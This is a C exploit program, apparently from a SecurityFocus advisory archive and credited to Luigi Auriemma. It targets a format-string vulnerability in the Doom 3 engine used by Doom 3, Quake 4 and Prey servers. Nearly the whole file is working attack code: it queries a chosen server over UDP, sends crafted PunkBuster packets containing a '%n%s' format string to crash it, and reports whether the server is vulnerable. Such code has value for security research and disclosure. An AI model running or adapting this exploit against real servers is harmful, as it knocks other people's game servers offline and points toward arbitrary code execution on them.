// source: https://www.securityfocus.com/bid/25893/info id Software Doom 3 engine is prone to a format-string vulnerability. Exploiting this issue will allow attackers to execute arbitrary code with the permissions of a user running the application. Failed attacks will likely cause denial-of-service conditions. Several games that use the Doom 3 engine are affected, including Doom 3, Quake 4, and Prey. /* by Luigi Auriemma */ #include #include #include #include #include #ifdef WIN32 #include #include "winerr.h" #define close closesocket #define sleep Sleep #define ONESEC 1000 #else #include #include #include #include #include #include #define ONESEC 1 #define stristr strcasestr #endif typedef uint8_t u8; typedef uint16_t u16; typedef uint32_t u32; #define VER "0.1" #define DOOM3_QUERY "\xff\xff" "getInfo\0" "\0\0\0\0" #define FSTRING "%n%s%n%s%n%s%n%s%n%s%n%s" #define D3ENGFSPB1 "\xff\xff\xff\xff" "PB_Y" FSTRING #define D3ENGFSPB2 "\xff\xff\xff\xff" "PB_U" "\xff\xff\xff\xff" \ "\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0\0" \ "127.0.0.1:1234;" FSTRING ";" int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...); int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err); int timeout(int sock, int secs); u32 resolv(char *host); void std_err(void); int main(int argc, char *argv[]) { struct sockaddr_in peer; int sd, len, noquery = 0; u8 buff[8192]; #ifdef WIN32 WSADATA wsadata; WSAStartup(MAKEWORD(1,0), &wsadata); #endif setbuf(stdout, NULL); fputs("\n" "Doom 3 engine format string exploitation through Punkbuster "VER"\n" " Doom 3 <= 1.3.1 (default port 27666)\n" " Quake 4 <= 1.4.2 (default port 28004)\n" " Prey <= 1.3 (default port 27719)\n" "by Luigi Auriemma\n" "e-mail: aluigi@autistici.org\n" "web: aluigi.org\n" "\n", stdout); if(argc < 3) { printf("\n" "Usage: %s \n" "\n", argv[0]); exit(1); } peer.sin_addr.s_addr = resolv(argv[1]); peer.sin_port = htons(atoi(argv[2])); peer.sin_family = AF_INET; printf("- target %s : %hu\n", inet_ntoa(peer.sin_addr), ntohs(peer.sin_port)); sd = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP); if(sd < 0) std_err(); printf("- query server:\n"); len = send_recv(sd, DOOM3_QUERY, sizeof(DOOM3_QUERY) - 1, buff, sizeof(buff), &peer, 0); if(len < 0) { printf("- no reply received, I try to continue\n"); noquery = 1; } else { gs_handle_info(buff, len, 0, '\0', 23, 8, NULL); } sleep(ONESEC); printf("- send malformed packets\n"); len = send_recv(sd, D3ENGFSPB1, sizeof(D3ENGFSPB1) - 1, NULL, 0, &peer, 1); len = send_recv(sd, D3ENGFSPB2, sizeof(D3ENGFSPB2) - 1, NULL, 0, &peer, 1); if(noquery) { printf("- the server should have been crashed, check it manually\n"); } else { printf("- wait some seconds\n"); sleep(ONESEC * 3); printf("- check server:\n"); len = send_recv(sd, DOOM3_QUERY, sizeof(DOOM3_QUERY) - 1, buff, sizeof(buff), &peer, 0); if(len < 0) { printf("\n Server IS vulnerable!!!\n"); } else { printf("\n Server doesn't seem vulnerable\n"); } } close(sd); return(0); } int gs_handle_info(u8 *data, int datalen, int nt, int chr, int front, int rear, ...) { va_list ap; int i, args, found; u8 **parz, ***valz, *p, *limit, *par, *val; va_start(ap, rear); for(i = 0; ; i++) { if(!va_arg(ap, u8 *)) break; if(!va_arg(ap, u8 **)) break; } va_end(ap); args = i; parz = malloc(args * sizeof(u8 *)); valz = malloc(args * sizeof(u8 **)); va_start(ap, rear); for(i = 0; i < args; i++) { parz[i] = va_arg(ap, u8 *); valz[i] = va_arg(ap, u8 **); *valz[i] = NULL; } va_end(ap); found = 0; limit = data + datalen - rear; *limit = 0; data += front; par = NULL; val = NULL; for(p = data; (data < limit) && p; data = p + 1, nt++) { p = strchr(data, chr); if(p) *p = 0; if(nt & 1) { if(!par) continue; val = data; printf(" %30s %s\n", par, val); for(i = 0; i < args; i++) { if(!stricmp(par, parz[i])) *valz[i] = val; } } else { par = data; } } free(parz); free(valz); return(found); } int send_recv(int sd, u8 *in, int insz, u8 *out, int outsz, struct sockaddr_in *peer, int err) { int retry, len; if(in && !out) { if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) std_err(); return(0); } if(in) { for(retry = 2; retry; retry--) { if(sendto(sd, in, insz, 0, (struct sockaddr *)peer, sizeof(struct sockaddr_in)) < 0) std_err(); if(!timeout(sd, 1)) break; } if(!retry) { if(!err) return(-1); printf("\nError: socket timeout, no reply received\n\n"); exit(1); } } else { if(timeout(sd, 3) < 0) return(-1); } len = recvfrom(sd, out, outsz, 0, NULL, NULL); if(len < 0) std_err(); return(len); } int timeout(int sock, int secs) { struct timeval tout; fd_set fd_read; tout.tv_sec = secs; tout.tv_usec = 0; FD_ZERO(&fd_read); FD_SET(sock, &fd_read); if(select(sock + 1, &fd_read, NULL, NULL, &tout) <= 0) return(-1); return(0); } u32 resolv(char *host) { struct hostent *hp; u32 host_ip; host_ip = inet_addr(host); if(host_ip == INADDR_NONE) { hp = gethostbyname(host); if(!hp) { printf("\nError: Unable to resolv hostname (%s)\n", host); exit(1); } else host_ip = *(u32 *)hp->h_addr; } return(host_ip); } #ifndef WIN32 void std_err(void) { perror("\nError"); exit(1); } #endif